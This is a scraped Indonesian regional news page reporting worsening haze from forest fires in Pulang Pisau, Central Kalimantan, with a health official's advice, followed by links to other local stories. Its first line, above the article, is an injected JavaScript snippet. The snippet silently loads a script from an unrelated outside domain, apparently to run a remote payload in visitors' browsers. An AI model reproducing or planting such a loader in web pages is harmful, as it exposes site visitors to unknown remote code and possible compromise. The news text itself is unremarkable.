(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Kabut asap semakin pekat di Kabupaten Pulang Pisau, Kalimantan tengah, berdampak kepada kesehatan masyarakat.
Kabut asap yang berasal dari kebakaran hutan dan lahan ini menyebabkan kondisi udara menjadi buruk atau tidak sehat.
Berbagai jenis penyakit mulai dirasakan masyarakat seperti ISPA dan emfisema. Selain itu efek kabut asap juga dapat memperburuk kondisi penderita asma dan penyakit paru obstruktif kronis (PPOK).
Kepala Dinas Kesehatan Kabupaten Pulang Pisau, dr Pande Putu Gina mengingatkan akan bahaya kabut asap bagi kesehatan.
Baca juga: Kemarau Hingga November, Karhutla Kian Mengancam Kalsel
Kadinkes Pulang Pisau mengimbau kepada seluruh masyarakat Pulang Pisau membatasi aktifitas di luar rumah, sebab kabut asap sangat membahayakan bagi kesehatan masyarakat.
“Bila terpaksa harus keluar rumah memakai masker sebab dengan masker dapat menyaring udara yang tidak sehat untuk kita hirup,” katanya.
Minum banyak air minimal 8 gelas sehari adalah kewajiban untuk memenuhi kebutuhan hidrasi tubuh. Keseimbangan cairan dalam tubuh yang merupakan syarat penting untuk menjamin metabolisme sel tubuh tetap berjalan tidak kekurangan cairan, sehingga kerja organ organ tubuh tetap maksimal
“Kalau mengalami sakit agar segera ke fasilitas kesehatan terdekat adalah upaya kita agar sehat dari penyakit yang diderita,” tutupnya. (Kanalkalimantan.com/zul)
Reporter : zul
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
This website uses cookies.